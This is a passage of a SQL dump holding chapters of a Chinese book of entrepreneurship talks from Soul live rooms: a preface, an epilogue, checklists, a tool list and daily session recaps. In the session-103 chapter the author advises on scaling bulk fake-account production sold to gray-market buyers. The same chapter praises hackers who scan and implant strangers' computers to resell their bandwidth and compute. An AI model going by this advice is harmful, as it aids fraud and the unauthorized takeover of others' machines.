年龄从来不是问题,心态才是。我们派对房里有70后还在学新东西,有90后已经躺平了。关键不是你多大,是你\n\n还有没有学习和改变的意愿。\n\n---\n\n*以上对话均来自Soul派对房的真实交流,有删减和整理。*\n\n*如果你想参与更多这样的讨论,欢迎每天早上6点来Soul派对房。*', 4930, 0, 1.00, 80, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.369', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (64, 'appendix-2', 'appendix', '附录', 'appendix', '附录', '创业者自检清单', '这份清单是从Soul派对房的讨论中总结出来的,供想要创业或正在创业的人参考。\n\n---\n\n## 一、创业前自检\n\n### 1. 关于自己\n\n- [ ] 我清楚自己为什么想创业(不是逃避打工,而是有明确的目标)\n- [ ] 我知道自己擅长什么、不擅长什么\n- [ ] 我有至少一项可以变现的技能或资源\n- [ ] 我能承受创业失败的后果(经济上、心理上)\n- [ ] 我的家人支持我创业(或至少不反对)\n\n### 2. 关于项目\n\n- [ ] 我清楚要解决什么问题\n- [ ] 这个问题足够多人有(市场足够大)\n- [ ] 我知道目标用户是谁\n- [ ] 我了解竞争对手是谁、他们怎么做\n- [ ] 我知道我的优势是什么(为什么用户选我而不选别人)\n\n### 3. 关于资源\n\n- [ ] 我有足够的启动资金(至少能撑6-12个月)\n- [ ] 我有备用的生活费(创业期间不会饿死)\n- [ ] 我有可以求助的人脉资源\n- [ ] 我知道去哪里找合伙人/员工/供应商\n\n### 4. 关于准备\n\n- [ ] 我做过市场调研(不是拍脑袋想的)\n- [ ] 我算过财务账(成本、收入、利润、回本周期)\n- [ ] 我想过可能的风险和应对方案\n- [ ] 我有一个可执行的计划(不是空想)\n\n---\n\n## 二、创业中自检\n\n### 1. 关于方向\n\n- [ ] 我的产品/服务真的解决了用户的问题\n- [ ] 用户愿意为此付费(不只是说好,而是真的付钱)\n- [ ] 我的商业模式是可持续的(不是一锤子买卖)\n- [ ] 我知道下一步该往哪个方向发展\n\n### 2. 关于运营\n\n- [ ] 我知道我的获客成本是多少\n- [ ] 我知道我的客户终身价值是多少\n- [ ] 我的现金流是健康的(不会突然断裂)\n- [ ] 我有复盘的习惯(定期总结经验教训)\n\n### 3. 关于团队\n\n- [ ] 我的团队成员能力互补\n- [ ] 团队成员的利益分配是清晰的\n- [ ] 团队有共同的目标和价值观\n- [ ] 我能有效地管理和激励团队\n\n### 4. 关于心态\n\n- [ ] 我能接受失败和挫折\n- [ ] 我能在压力下保持冷静\n- [ ] 我愿意听取不同的意见\n- [ ] 我保持学习和成长的状态\n\n---\n\n## 三、危险信号自检\n\n如果以下情况出现,需要认真反思:\n\n### 红色警报(需要立即处理)\n\n- [ ] 连续3个月以上现金流为负\n- [ ] 核心团队成员离开\n- [ ] 主要客户流失\n- [ ] 身体健康出现严重问题\n- [ ] 家庭关系严重恶化\n\n### 黄色警报(需要关注)\n\n- [ ] 收入增长停滞\n- [ ] 获客成本持续上升\n- [ ] 团队士气低落\n- [ ] 竞争对手快速崛起\n- [ ] 行业政策发生变化\n\n---\n\n## 四、退出机制自检\n\n创业不是只进不退,要提前想好退出机制:\n\n- [ ] 我知道在什么情况下应该放弃\n- [ ] 我有退出后的备选方案(重新找工作、换个方向等)\n- [ ] 我的损失是可控的(不会倾家荡产)\n- [ ] 我能接受\"这次创业失败\"这个结果\n\n---\n\n## 使用说明\n\n1. 创业前,把第一部分的清单过一遍,确保准备充分\n2. 创业中,每月把第二部分的清单过一遍,及时发现问题\n3. 如果出现第三部分的危险信号,立即采取行动\n4. 始终记住第四部分,创业是可以退出的,不要死撑\n\n---\n\n*这份清单不是标准答案,而是思考的起点。每个人的情况不同,请根据自己的实际情况调整。*', 3366, 0, 1.00, 81, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.380', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (65, 'appendix-3', 'appendix', '附录', 'appendix', '附录', '本书提到的工具和资源', '以下是本书中提到的各类工具和资源,供读者参考。\n\n---\n\n## 一、AI工具类\n\n### 通用AI助手\n- **ChatGPT** - OpenAI的对话AI,可用于写作、编程、分析等\n- **Claude** - Anthropic的AI助手,擅长长文本处理\n- **DeepSeek** - 国产AI大模型,性价比高\n- **豆包** - 字节跳动的AI助手\n\n### AI编程工具\n- **Cursor** - AI辅助编程IDE\n- **TRAE** - 字节跳动的AI编程工具\n- **GitHub Copilot** - 代码自动补全工具\n\n### AI视频/图像工具\n- **Midjourney** - AI图像生成\n- **DALL-E** - OpenAI的图像生成\n- **Creatify** - AI广告视频生成\n- **InVideo** - 长视频转短视频\n- **剪映** - 视频剪辑工具(含AI功能)\n\n### AI自动化工具\n- **N8N** - 开源自动化工作流\n- **RPA工具** - 机器人流程自动化\n\n---\n\n## 二、内容创作类\n\n### 短视频平台\n- **抖音** - 国内最大的短视频平台\n- **小红书** - 种草和生活分享平台\n- **B站** - 中长视频平台\n- **Soul** - 社交+内容平台\n\n### 内容工具\n- **剪映** - 视频剪辑\n- **Canva** - 图片设计\n- **Notion** - 笔记和知识管理\n- **飞书文档** - 协作文档\n\n---\n\n## 三、电商/私域类\n\n### 电商平台\n- **淘宝/天猫** - 传统电商\n- **拼多多** - 社交电商\n- **抖音小店** - 内容电商\n- **闲鱼** - 二手交易\n\n### 私域工具\n- **微信** - 私域运营主阵地\n- **企业微信** - 企业级私域管理\n- **小鹅通** - 知识付费平台\n- **有赞** - 电商SaaS\n\n---\n\n## 四、效率工具类\n\n### 项目管理\n- **飞书** - 协作办公\n- **钉钉** - 企业通讯\n- **Trello** - 看板管理\n- **Notion** - 全能工作台\n\n### 文档协作\n- **腾讯文档** - 在线协作\n- **石墨文档** - 在线协作\n- **Google Docs** - 在线文档\n\n### 思维工具\n- **XMind** - 思维导图\n- **幕布** - 大纲笔记\n- **Miro** - 在线白板\n\n---\n\n## 五、学习资源类\n\n### 在线学习\n- **得到** - 知识付费\n- **混沌学园** - 商业课程\n- **三节课** - 互联网课程\n- **网易云课堂** - 综合学习平台\n\n### 信息获取\n- **36氪** - 科技商业媒体\n- **虎嗅** - 商业资讯\n- **少数派** - 效率工具\n- **即刻** - 兴趣社区\n\n---\n\n## 六、创业服务类\n\n### 工商财税\n- **企查查/天眼查** - 企业信息查询\n- **慧算账** - 财税服务\n- **各地政务服务网** - 工商注册\n\n### 法律服务\n- **法大大** - 电子合同\n- **律图** - 法律咨询\n\n### 融资对接\n- **IT桔子** - 创投数据\n- **36氪** - 融资报道\n- **创业邦** - 创业服务\n\n---\n\n## 使用建议\n\n1. **工具只是手段**,不要为了用工具而用工具,要根据实际需求选择\n2. **先用免费版**,确定适合自己再考虑付费\n3. **不要贪多**,每类工具选一两个深度使用即可\n4. **持续关注新工具**,但不要频繁更换,稳定比新鲜更重要\n\n---\n\n*注:以上工具和资源仅供参考,不构成推荐。请根据自己的实际需求选择使用。工具会不断更新,请以最新版本为准。*', 3047, 0, 1.00, 82, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.392', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (66, 'epilogue', 'appendix', '附录', 'appendix', '附录', '这本书的真实目的', '# 尾声|这本书的真实目的\n\n2026年1月2日,周四,早上6点01分。\n\n这是我在Soul上开的第60场派对。\n\n也是这本书记录的最后一场。\n\n---\n\n写到这里,这本书就要结束了。\n\n但在结束之前,我想跟你聊聊,这本书的真实目的是什么。\n\n---\n\n2025年10月,我开始在Soul上每天早上6点开播。\n\n到现在,已经开了五十多场。\n\n每一场,都有不同的人进来,聊不同的话题。\n\n有人聊创业,有人聊工作,有人聊感情,有人聊人生。\n\n我把这些对话记录下来,整理成了这本书。\n\n---\n\n但这本书的目的,不是记录。\n\n记录只是手段,不是目的。\n\n---\n\n这本书的真实目的是什么?\n\n是让你看到真实。\n\n---\n\n什么是真实?\n\n真实是,创业没有那么光鲜。\n\n大部分创业者,不是在聚光灯下侃侃而谈,而是在凌晨三点还在发愁明天的货款怎么办。\n\n真实是,赚钱没有那么容易。\n\n那些告诉你\"轻松月入十万\"的人,要么是在骗你,要么是在卖课。\n\n真实是,人性没有那么美好。\n\n有人会帮你,也有人会坑你。你要学会分辨,学会保护自己。\n\n真实是,失败比成功多得多。\n\n你看到的成功案例,背后可能有一百个失败案例。只是失败的人不会站出来说。\n\n---\n\n我为什么要让你看到这些真实?\n\n因为只有看到真实,你才能做出正确的决策。\n\n---\n\n很多人创业失败,不是因为他们不努力。\n\n而是因为他们被虚假的信息误导了。\n\n他们以为创业很简单,结果发现到处都是坑。\n\n他们以为只要努力就能成功,结果发现方向比努力更重要。\n\n他们以为别人会帮他们,结果发现大部分人只关心自己的利益。\n\n---\n\n如果他们一开始就知道这些真实,也许他们会做出不同的选择。\n\n也许他们会更谨慎地准备。\n\n也许他们会更清醒地看待风险。\n\n也许他们不会犯那些本可以避免的错误。\n\n---\n\n这就是这本书的真实目的。\n\n不是教你怎么成功。\n\n而是让你看清现实,然后做出适合自己的选择。\n\n---\n\n我经常在派对房里说一句话:\n\n\"这本书的真实目的,不是教你什么。而是告诉你什么。\"\n\n教和告诉,是不一样的。\n\n教,是我告诉你应该怎么做。\n\n告诉,是我把我看到的、经历的、思考的分享给你,然后你自己决定怎么做。\n\n---\n\n我不想教你。\n\n因为每个人的情况不一样,我的经验不一定适合你。\n\n我只想告诉你我看到的真实,然后让你自己判断。\n\n---\n\n如果这本书能让你:\n\n- 在冲动创业之前,多想一想\n- 在轻信别人之前,多问一问\n- 在追逐机会之前,多看一看\n- 在放弃之前,多撑一撑\n\n那这本书的目的就达到了。\n\n---\n\n最后,我想感谢每一个在Soul派对房里跟我聊过天的人。\n\n是你们的故事,构成了这本书。\n\n是你们的问题,激发了我的思考。\n\n是你们的陪伴,让我每天早上6点有动力开播。\n\n---\n\n这本书不是我一个人写的。\n\n是我们一起写的。\n\n---\n\n如果你读完这本书,有任何想法,欢迎来Soul找我聊。\n\n我每天早上6点,都在那里。\n\n如果你想看更多案例、工具清单和自检表,可以翻到后面的附录。\n\n那里有我们从派对房里整理出来的精华内容。\n\n---\n\n2026年1月2日早上7点38分,派对结束。\n\n我关掉直播,看着窗外渐渐亮起来的天。\n\n想起这三个月来遇到的人、聊过的话、记录的故事。\n\n有人说,写书是为了留下点什么。\n\n但我觉得,写书是为了连接。\n\n连接过去和未来,连接我和你,连接一个个孤独的灵魂。\n\n---\n\n愿你看清真实,然后勇敢前行。\n\n愿你少走弯路,但不怕走弯路。\n\n愿你找到属于自己的路,然后坚定地走下去。\n\n---\n\n我们Soul见。\n\n---\n\n**附录导读:**\n\n- **附录1|Soul派对房精选对话**:从派对房聊天记录中精选的问答,涵盖创业、赚钱、人际关系、个人成长等话题\n- **附录2|创业者自检清单**:创业前、创业中、危险信号、退出机制的完整自检表\n- **附录3|本书提到的工具和资源**:AI工具、内容创作、电商私域、效率工具、学习资源、创业服务的完整清单\n', 1489, 1, 0.00, 83, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.403', 9, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (67, 'preface', 'intro', '序言', 'preface', '序言', '为什么我每天早上6点在Soul开播?', '# 序言|为什么我每天早上6点在Soul开播?\n\n这不是一本教你成功的鸡汤书。\n\n也不是那种告诉你\"只要努力就能翻身\"的励志读物。\n\n这是一本真实的书。\n\n---\n\n每天早上6点,天还没亮,我就打开Soul,进入派对房,开始和陌生人说话。\n\n有人问我:\"卡若,你图什么?\"\n\n我图的是真实。\n\n在这个时间点,进来的人都带着目的。\n\n有人来找项目,有人来找钱,有人来找方向,有人来找人。\n\n他们不会跟你寒暄,不会跟你客套。\n\n他们上麦就问:\"卡若,这个生意能不能做?\"\n\n我喜欢这种直接。\n\n---\n\n我叫卡若,做生意22年了。\n\n电竞18年,私域12年,搭建天猫团队,破产过一次,爬起来又做了用户资产数字化的数字基建、AI数智员工。\n\n我踩过的坑,可能比很多人走过的路还多。\n\n但我不后悔。\n\n因为每一次失败,都让我看清并明白一些事情,自己一路上也在打怪升级,为了完成最终的梦想而一路前行。\n\n---\n\n2025年10月9日,我在Soul上开了第一场派对房。\n\n一开始的目标很简单:**开50场直播,链接1000个人。**\n\n结果第一场来了200多人,大家问项目、问资源、问怎么找合作伙伴。\n\n我发现,原来这么多人和我一样——\n\n在寻找,在迷茫,在试图找到一个能说真话的地方。\n\n---\n\n从那天开始,我每天早上6点开播,到现在已经开了67场(数据持续更新中)。\n\n**真实数据:**\n- 67场直播,累计5500多分钟;\n- 单场额外曝光46182次,人均停留13-25分钟;\n- 加微信40多人,线上团队20多人,进派对群100多人(每日递增中);\n- 线下见面27-35人(本地+外地).\n\n这个数据是什么概念?\n\nSoul的场观价值是抖音的20倍。\n\n同样100个场观,在Soul上能加几十个微信,在抖音上只能加几个。\n\n这就是为什么我选择在Soul开播。\n\n---\n\n在这67场里,我遇到了各种各样的人:\n\n有做电动车的荷包,在泉州管理1000辆车的车身广告;\n\n有做287人财税公司的老板,用30块外账引流做税筹;\n\n有拿到1亿AI投资找项目的资方;\n\n有做送水生意的创业者,计划覆盖更多物业写字楼;\n\n有从北京、上海、深圳飞过来泡茶的老板,一次带7个人;\n\n有刚失业找方向的年轻人;\n\n有欠了债想东山再起的创业者;\n\n也有只是想找个人聊聊天的孤独灵魂。\n\n我把他们的故事,筛选并记了下来。\n\n---\n\n这本书,就是这些故事的集合。\n\n我把它分成了五个部分:\n\n**第一篇:真实的人**——讲人与人之间的底层逻辑,讲那些人性困境的案例。\n\n**第二篇:真实的行业**——讲电商、内容、传统行业的真实打法。\n\n**第三篇:真实的错误**——讲别人踩过的坑,讲那些错过的机会。\n\n**第四篇:真实的赚钱**——讲赚钱的底层结构,讲我在Soul上亲访的赚钱案例。\n\n**第五篇:真实的社会**——讲未来职业的变化趋势,讲中国商业生态的走向。\n\n---\n\n我不保证你读完这本书就能赚到钱。\n\n但我保证,你读完这本书,会清醒一些。\n\n你会知道,哪些路是走不通的;\n\n你会知道,哪些人是不能合作的;\n\n你会知道,哪些机会是你能抓住的。\n\n自知者明,自胜者强。\n\n---\n\n这本书里的所有案例,都来自派对房的真实对话。\n\n没有线下见面的,我不会编造\"茶馆约见\"。\n\n没有发生的数据,我不会虚构\"年入千万\"。\n\n每一个故事,每一个数字,都有源头可查。\n\n因为那些每天早上6点进派对房的人,值得被认真对待。\n\n他们是真实的人,有真实的困境,在寻找真实的答案。\n\n这本书,就是我能给他们的,最真实的回应。\n\n---\n\n如果你正在迷茫,正在寻找方向,正在想\"我到底该做什么\",\n\n那就翻开这本书吧。\n\n也许你会在某个故事里,看到自己的影子。\n\n也许你会在某个案例里,找到你要的答案。\n\n---\n\n准备好了吗?\n\n我们开始。\n\n---\n\n卡若 \n2025年于厦门 \n每天早上6点,Soul派对房见\n', 1479, 1, 0.00, 0, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.458', 14, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (121, '10.01', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第102场|今年第一个红包你发给谁', '今年你第一个红包发给谁,比发多少重要。\n\n2026年2月17日,大年初一,早上8:01。\n\nSoul 上开了第 102 场。\n\n人不多,过年嘛,能来的都是真在听的。\n\n主题临时改的:今年过年,你第一个红包发给谁?\n\n我发了三个。不是只发三个红包,是「第一个」只发给这三个人,后面的该咋发咋发。\n\n---\n\n第一个发给一个亏过一个亿的哥们。\n\n他 13 年就做收银机、做美团那种模式,太早,市场没起来,嘎了,现在还在还债。\n\n年纪比我大,认知高,我跟他泡茶聊天学到不少,人脉也从他那儿来的。\n\n他找我有事我直接帮。\n\n我要的就是他那种视角,我自己看不到的。\n\n他也不会白要,看事情的角度、踩过的坑都会在聊天里带出来,这些比单次帮忙值钱。\n\n派对房里有人问那你图啥,我说你帮人的时候别老想自己,想多了反而卡住,不想,回馈自己会来。\n\n这种人叫引路人,一个就够了,多了你也顾不过来。\n\n---\n\n第二个,樊登读书福建那边的负责人。\n\n我那会儿在厦门搞抖音矩阵引流本地创业者,做出点数据,他们注意到了。\n\n聊的时候他不看你多能吹,就看你能不能解决问题、能不能复制、能不能有数。\n\n后来合作上了,别人一听「给樊登做过」就认。\n\n他还有一点:我哪儿做错了敢直接说,这事可能不对。\n\n人生只做一件最重要的事,也是他老敲我的。\n\n身边没人敢说你的时候,容易跑偏。\n\n有个皮鞭型的贵人能少走很多弯路,皮鞭型的不是让你舒服,是让你少踩坑,这种人也不多,有一个就够。\n\n---\n\n第三个,我老婆。\n\n钱她管,公司跟负责人对接也是她,生活上的事我都不太行,她兜着,没她我早崩了。\n\n她不懂我代码和方案细节,但她懂我这个人。\n\n我焦虑、身体不好情绪差的时候,都是她兜着,还会说「有人就有钱,身体第一,别的慢慢来」。\n\n我俩也有吵,有三个卡点摊开讲过,约好每人说三件,不憋着。\n\n她习惯先认错,然后找地方把卡点列出来讲清楚。\n\n关系里对错放后面,先别内耗。\n\n创业的人容易忽略身边人,其实后盾不稳,前面冲再猛也白搭。\n\n---\n\n红包这事儿,多大不重要,微信 200 封顶就是让你别压力大,意思到了就行,9 块 9 也行。\n\n心意型就是过节图个气氛,大小无所谓。\n\n建联型是礼尚往来,保持联系就行。\n\n交易型是一收就等于答应后面要办事、要场地要人要资源的,这种要慎收,收了就得办,不办关系更僵。\n\n一收就等于答应他后面要场地要人要资源的,我基本不收,七成没收。\n\n谁离你近先顾谁:自己、伴侣、小孩。\n\n不是自私,是你自己先垮了,谁都顾不上。\n\n---\n\n102 场下来,Soul 上机会在能接触到一线、能说真心话、多几个视角。\n\n第一波十来个人挺好稳的,每天把纪要丢群里、做做总结,有用。\n\n不订阅群主你看不到派对,很多人说找不到我,就是没点订阅。\n\n想在这上面捞个大项目比较难,但能合作的小事、靠谱的人是有,总结得做,每场聊了什么留下来大家能复盘能接着连。\n\n发完红包他们回你的时候顺带聊两句,比群发一句新年快乐有感觉。\n\n今年你第一个红包发给谁?想聊这个的,来派对房就行,每天纪要发群,每场都会总结一下。', 3564, 0, 1.00, 64, 'published', '2026-02-18 17:23:38.000', '2026-03-10 06:25:50.185', 1, 0, 0, 10.80, NULL, NULL); -INSERT INTO `chapters` VALUES (194, '10.02', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', ' 第103场|号商、某客与炸房', '有些钱你看到了,差一层窗户纸,人家不捅破你就拿不到。\n\n2026年2月18日,初二,早上7:17。\n\nSoul 上开了第 103 场,两个多小时。\n\n有人上麦问今年有啥规划,他说今年想去做号商,做社交 APP 的号,Soul、墨、QQ 这种。\n\n---\n\n他说他有流量,有注册的玩法,几毛钱一个号能产出来,卖十几块,利润翻好几倍。\n\n渠道也有,买号的人无限要,有多少吃多少。\n\n卡在中间一步:号注册完了,怎么存、怎么给买家登上去?\n\n只有一次接验证码的机会,注册用掉了,后面买家要登、要换绑都要二次验证,他这条链路没有。\n\n朋友那边已经跑通了,一天几万号出去,去年十月做到现在利润过两千个了,但这一步不告诉他。\n\n我说你假装客户去买一个,走一遍流程不就知道了。\n\n他说人家都是几万几万地出,不单个卖。\n\n那就从终端找。谁在买?淘宝、闲鱼、百度搜一下,总有零散卖的,买一个回来测,看他是怎么把号给你的。\n\n他说零散买的那种是换绑好了再卖的,跟他这种批量生产的不一样。\n\n他这种是几百台手机 24 小时注册,产出来的号没有二次接码,就卡在怎么存、怎么出。\n\n---\n\n我说你号存起来无非几种。\n\n要么云手机,号一直在云上,卖的时候卖云手机账号密码;要么真实手机,号一直在那批手机里,谁要就那批手机里登着用。\n\n深圳有个朋友,十五万台手机,root 好、接口打通,号一封就自动补,大主体直接对接收号的人,没有二次登录这事,消耗多少结算多少。\n\n你朋友有可能就是给这种大机房供货的。\n\n你如果能对接到这种,注册完直接进他机房、登在他手机矩阵上,你这边只负责产号,他那边负责登和补,就没有二次验证这一环。\n\n他说云手机别人买过去用起来很卡,没法用。真实手机寄过去的话,一个号才十几块,不可能连手机一起卖。\n\n我说那买这些号的人都是干啥的?灰产多,消耗量巨大,一个号用一两天就没了再买。\n\n他们不一定非要「拿到手里一个号」,他们要的是「能用」。\n\n你要是能对接那种机房,号一直在机房登着,他们用接口调你的号,封了自动补,你按消耗结算,就不存在把号「交给」谁的问题。\n\n他说懂了,链路可以往这个方向找。\n\n我说你先把自己这一段做好,注册、流量、产号你都有了,差中间就找两三家能解决登号、能接你量的人,有机会跑通。\n\n但有些钱就是人家不会卖给你,打钱也没用,只能自己摸,从终端反推,或者等机缘碰到懂又愿意合作的人。\n\n---\n\n后面聊到别的事,房炸了。\n\n聊到真正挣钱、能放大的东西,平台就容易掐,一讲就炸,只能讲点普通的、大众的。\n\n有人问能不能用别的词替代一下,比如某客。我说某客就某客吧。\n\n真正挣钱的某客,不是去黑什么,是把网上闲置的资源变现。\n\n电脑四大件,内存、硬盘、带宽、算力,很多人不知道能变现,某客就扫描、植入,把你的机器变成挂机的,带宽做 CDN,算力做节点,一台机器一年能多出几百上千块。\n\n人家干了二十几年,手上有几千台,躺着收。\n\n现在有 AI,自动扫、自动分析漏洞,翻倍了。这种才是真正用 AI 挣钱的人,一招吃几十年。\n\n普通人就自己挂 PCDN、挂节点,宽带费电费能省回来,等于免费用网。\n\n某客是另一条路,人家吃的是「别人不会」的那一块。\n\n---\n\n还有人说 14 岁小孩会 QQ 霸屏、SEO 霸屏,来投靠做了三年被挖走了,走的时候 17 岁,玛莎拉蒂都买了。\n\n核心是人,不是方法,方法会变,会修 bug,一直研究的那个人才值钱。\n\n今天也聊了地摊。有人问 10 万 20 万小项目,我说厦门有餐车、有定点,900 到 6000 一月,有的点不用钱,我们有补贴,你卖啥自己弄,没产品找品牌方聊,本质是就业项目。\n\n103 场下来,今天炸了两次,人倒蛮多,500 多了。\n\nSoul 的流量密码我们比较清楚,每个月 70 到 100 万曝光。\n\n不订阅群主容易找不到房,炸了就没了,订阅一下不容易丢。\n\n每天 6 点到 9 点,停留 10 到 15 分钟,一场 300 到 600 人,能听到两三个别人的视角。\n\n想链接的私聊群主,有资源群、会员群,有执行力就来。小程序搜卡若的创业派对,一天一块钱一节,每天更。', 4659, 0, 1.00, 65, 'published', '2026-02-18 17:24:31.000', '2026-03-10 06:25:50.197', 0, 0, 0, 2.40, NULL, NULL); -INSERT INTO `chapters` VALUES (197, '10.03', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第105场|创业社群、直播带货与程序员', '能坚持的事,一定是聊天就能解决的。\n\n2026年2月20日,初四,早上7:10。\n\nSoul 上开了第 105 场,两个多小时。\n\n四个月 105 场,推流 108 万,进房去重 1 万 4,昨天 103 场炸了房,今天人也不少。\n\n---\n\n2 号上麦,在北京做创业社群,27 岁。\n\n他说本业做私域、社交、创业社群,刚起步半个多月,拉了几百人群,很多东西抄原公司的,把 LOGO 换一下。\n\n载体是线下沙龙,场地还没定,想招商找合作方,或者跟家里修复关系用公司会议厅。\n\n我问你怎么覆盖成本,他说还没想,私域本身没想一上来就变现。\n\n我说聚人气的话,收会员费、茶水费就能把线下开支覆盖,很容易。\n\n给企业做赋能,前面可以不收钱,资源好的邀请入会不收,没资源的该交交。\n\n他问怎么搞流量,说自媒体某书某音还没怎么开始,引流几天拉了几百人,之前花时间做网站、开发程序,都自己一个人,用 AI 开发。\n\n我说你可以来 Soul 试一下,还比较早。\n\n105 场下来,我们推流 108 万,进房 1 万 4 去重,线下也见了三十几个人,有点效果。\n\n他说私域还有一个用途,给未来做的 agent 和 AI 玩具找落地场景、打通销售渠道,线上活动还邀请了上市公司老总、大学教授,一开始要留影音资料做宣传。\n\n我说资源可以,一开始就有个启动,不差。\n\nSoul 派对每月一两万人进房、60 到 80 万曝光,能解决需求别人就愿意买单。创业社群刚起步的,早点来试试,不亏。\n\n---\n\n有个小姐姐按格式介绍,ESTJ,江苏扬州,之前房地产团队管理,现在做直播带货。\n\n从搭建直播间到选品到运营到直播前段都她弄,团队也她管,碰到的问题是投流。\n\n她说直播带货很卷,一个品打得好就有人复制,甚至用鹌鹑蛋冒充咸鸭蛋,外包装写咸鸭蛋,价格比你低,消费者不知道。\n\n我问她从房地产转直播带货哪一年,她说 24 年 11 月,之前陪读一年多边学理论,24 年底开始行动。\n\n我说你执行力很强,管理跟落地跟进能力都行,事情没做好会难受,适合带大团队。\n\n她讲最后一个房地产项目没做好,老板拿地做公寓商铺,商业用地改不了住宅,产品非刚需,房地产又在下行,开盘延迟,节点没卡上。\n\n我说房地产下行是大环境,但刚需还在,结婚上学要买房。\n\n她问直播带货和房产哪个好做。\n\n我说房产。房产总金额高,卖一套拿佣金上万,还有金融属性;直播带货门槛低、复制率高,一单利润没多少,投流退货人工扣完剩不多。\n\n她说出来干感受最深的是私人老板出尔反尔多,约定好待遇和做到多少,你做到了他反悔不想给那么多,觉得账号起来了换个人也能做,说话不算话成本太低。\n\n我说讲信用很重要,线上要大量筛人,线下 100 人筛三五个合作伙伴,线上得 1000 人。\n\n房产比直播带货好做。老板说话不算话,筛对人比做对事更重要。\n\n---\n\n8 号小杨,广东广州,擅长大数据和 AI。\n\n最赚钱一个月交付一个系统 12 万,SAP ERP 对接端小程序,那时候还没 AI。\n\n现在用 AI 开发,大框架自己有,细分把简单工作抛给 AI,工作已经不太需要自己开发,业余开发自己的,偏架构、产品。\n\n他说做金融类大模型训练底座,日活 1700 万。\n\n有人问豆包手机、root、各平台数据接口有没有资源,他说他们数据都内部产生,不需要调讯飞。\n\n他说 AI 做出来跟想要的有偏差,经验是多轮对话先别生成代码,跟 AI 把想法完善成完整需求,再交给 AI 实施,等于需求评审、技术评审做完再生成代码,实施和蓝图不偏离效果就不会太差。\n\n我说跟传统开发一样,AI 像产品经理帮你把需求整理好,再交给前后端实施,先可视化看是不是想要的,再后端实现、测试。\n\n他说程序员找女朋友难,身边很多十多年的,写代码搞 AI 不难,找女朋友真难。\n\n我说程序员工资偏高,所以现在裁得多。女生不听逻辑,听语言温度,要给情绪价值,不要一直解决问题、一直给,要让她对你付出。\n\n程序员容易陷入我帮她解决问题的逻辑黑洞,要魅力、身份、语言艺术。\n\n他说公司 10 个开发 9 个光棍,工资最高的一个月 7 万。\n\n我说程序员要以目标为导向不能以工时为导向,解决问题速度、效率、结果,程序员最容易做超级个体。\n\n跟 AI 协作开发,先把需求想清楚再生成代码,效果差不了。程序员最适合做超级个体。\n\n---\n\nAI 这块,今年一定 all in,不用想。\n\n公司招人,程序员第一个看每月 AI 消耗有没有超过 1000 刀,连 300 刀 2000 多块都没有的直接淘汰。\n\n运营也是,有没有用 GPT 什么的,每月至少 20 美金消耗,没买过的放二档。\n\n买 GPT、Cursor、Canva 等,有消费才说明在用。\n\n去年开发平均每人 3000 到 8000 块 AI 费用,人效提升 3 倍,多花 5000 块很值。\n\n有人问 open cloud、扣子,觉得以后工资不是给程序员是给算力公司。\n\n我说正常,我一天消耗折算人民币七八百。开发出来的东西因为太容易了、重构太容易,变得不值钱,现在值钱的是算力。\n\n南风说号被封了,新注册的每天早上 8 到 9 点封一小时。\n\n我说封号就像创业失败从头再来,但你积累的经验在,知道怎么快速让号有三四十人、怎么在 Soul 搞流量搞派对,回头弄个教程给一起的小伙伴公开就行。\n\n---\n\n今天 393 人,差不多了。\n\n有想做副业的联系管理 2 号 5 号,想了解切片、分发的,分发不收费还有收益,不会的有人教收点小学费。\n\n自己分享我们会写成书放进小程序,别人看到会来链接。\n\n能坚持的事一定是聊天就能解决的,每天 6 点到 9 点,多听每个人的视角,别给自己太大压力。', 6187, 0, 1.00, 66, 'published', '2026-02-21 19:36:00.000', '2026-03-10 06:25:50.208', 1, 0, 0, 1.80, NULL, NULL); -INSERT INTO `chapters` VALUES (198, '10.04', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第104场|婚恋、AI客服与一个微信', '事情要做得足够简单,人和人之间的事可以足够复杂。\n\n2026年2月19日,初三,早上7:35。\n\nSoul 上开了第 104 场,两个多小时。\n\n昨天 103 场聊号商、某客,炸了两次房,500 多人。\n\n---\n\n有个做婚恋的小姐姐上麦,09 年做到现在,婚礼一站式,摄影加礼服,今年想平台化。\n\n她问有没有 AI 客服工具,能多平台聚合、自动回复、拟人一点,微信、某书、某音、视频号都能用。\n\n我说网易有个客服系统,能聚合各平台聊天,按席位算,三百到六百一年,很便宜。\n\n要专业的那种、自动回复还带 AI 的,就大几十万了。豆包做客服会稍微傻一点,今年说不定会发力。\n\n免费的方案也有,各平台自带自动回复,就是要配置维护。\n\n她说需要一点灵活性、拟人化。\n\n我说网易那个先去试,多平台聚合聊天这个需求是有的,还没到私域那一步,聚合一下还可以。\n\n她讲她的规划,两个礼服馆品牌做祝福价引流,再整合五星级酒店、策划、执行成产品,从深圳打样,民政局、企业福利都合作。\n\n我说你们拓客从哪来?她说自媒体、上下游、渠道、企业、民政局、大活动都有,但做得不够深。\n\n我说婚恋这块线上不一定好弄,我有个朋友做抖音婚恋大 IP,一条几十万播放,获客并不明显,整个行业从线上走很难解决信任问题。\n\n你线下沉淀这么久,民政局、合作方都有,这种形式可能更直接。\n\n我说有一家叫一万和合的,你可以参考。\n\n他们学王婆,跟万达和商场合作,现场做结婚匹配活动,外面一圈只能看,里面一圈能参与,进里面要签到加微信。\n\n就这一招,每两个月一场沙龙,一场能加三百到五百人,后端会员费加高定撮合。\n\n她说婚恋机构平台还没合作,可以把产品放进他们会员礼包里。\n\n我说你多找几家这种机构不就快了,他们那几百个人就够消化两个月,而且很精准。\n\n你自己一个微信就搞定了,各平台流量没那么重要,解决信任问题很麻烦,链路太长会很长。\n\n她走高端,摄影加服装平均一万五左右,获客成本行业一千多,她方最多两百,某书投流 